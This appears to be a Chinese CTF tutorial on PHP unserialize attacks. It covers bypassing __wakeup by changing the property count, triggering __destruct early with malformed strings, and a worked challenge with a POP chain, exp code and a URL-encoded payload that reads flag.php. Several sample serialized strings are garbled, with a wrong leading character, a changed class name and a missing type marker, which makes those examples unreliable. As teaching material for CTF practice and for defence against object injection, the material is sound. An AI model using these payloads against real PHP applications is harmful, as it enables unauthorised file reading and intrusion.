一、概念
畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。
应用:
1.绕过 __wakeup()
2.快速析构(fast destruct):绕过过滤函数,提前执行__destruct
二、绕过__wakeup
由于使用unserialize()函数后会立即触发__wakeup,为了绕过__wakeup中的安全机制,可以用修改属性数量的方式绕过__wakeup 方法。
受影响版本:
php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10
绕过方法:
1.反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:
//标准序列化数据
0:4:"Girl":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}
//修改为:
0:4:"Gir1":3:{s:4:"names";:6:"小美";s:3:"age";s:2:"18";}
2.增加真实属性的个数,比如
//原始序列化数据
0:4:"Gir1":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";}
//增加真实属性的个数
0:4:"Gir1":2:{s:4:"name";s:6:"小美";s:3:"age";s:2:"18";s:1:"n":N;}
三、快速析构
快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法_destruct()。
应用场景:某些题目需要利用__destruct 才能获取flag,但是_destruct 是在对象被销毁时才触发(执行顺序太靠后),__destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发__destruct 方法。
畸形字符串的构造:
1.改掉属性的个数
2.删掉结尾的}
四、例题
<?php
class DemoX{
protected $user;
protected $sex;
function __construct (){
$this->user = "guest";
$this->sex = "male";
}
function __wakeup(){
$this->user = "Guest";
$this->sex = "female";
}
function __toString(){
return "<br>you are".$this->user."your sex is ".$this->sex."<br>";
}
function __destruct()
{
echo $this;
}
}
class Demo2{
private $fff14g;
function __construct($file){
$this->fff14g = $file;
}
function __toString(){
return file_get_contents($this->fff14g);
}
}
if(!isset($_GET['poc'])){
highlight_file("index. php") ;
}
else{
$user = unserialize($_GET['poc']);
}
起点:$poc
DemoX->__destruct 不触发wakeup
DemoX->__toString() $user=new Demo2
终点:Demo2->__toString $fff14g='flag.php'
注意:__construct 方法没有被触发是因为使用了 unserialize 函数来反序列化对象,而非直接实例化对象。
解题思路:
1.明确POP的起点:unserialize($_GET['poc'])
2.明确POP的终点: Demo2->__toString()
3.怎样连接起点和终点?
Demox->__destruct()/ /不能执行DemoX->__wakeup()
DemoX->__toString()
Demo2->__toString()
4.怎样执行绕过 Demox->_wakeup()?先生成正常的序列化数据,再改变属性个数。
5.exp:
<?php
class DemoX{
protected $user;
protected $sex;
function __construct (){
$this->user = new Demo2();
$this->sex = "male";
}
//function __wakeup(){
// $this->user = "Guest";
// $this->sex = "female";
//}
//function __toString(){
// return "<br>you are".$this->user."your sex is ".$this->sex."<br>";
//}
//function __destruct()
//{
// echo $this;
//}
}
class Demo2{
private $fff14g = 'flag.php';
// function __construct($file){
// $this->fff14g = $file;
// }
// function __toString(){
// return file_get_contents($this->fff14g);
// }
}
//if(!isset($_GET['poc'])){
// highlight_file("index. php") ;
//}
//else{
// $user = unserialize($_GET['poc']);
//}
$d = new DemoX();
$poc = serialize($d);
echo $poc."\n";
echo urlencode($poc);
6.执行得到:
O:5:"DemoX":2:{s:7:" * user";O:5:"Demo2":1:{s:13:" Demo2 fff14g";s:8:"flag.php";}s:6:" * sex";s:4:"male";}
O%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fff14g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D
通过比对,将属性个数由2改为3
O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fff14g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A4%3A%22male%22%3B%7D
7.将payload执行获取flag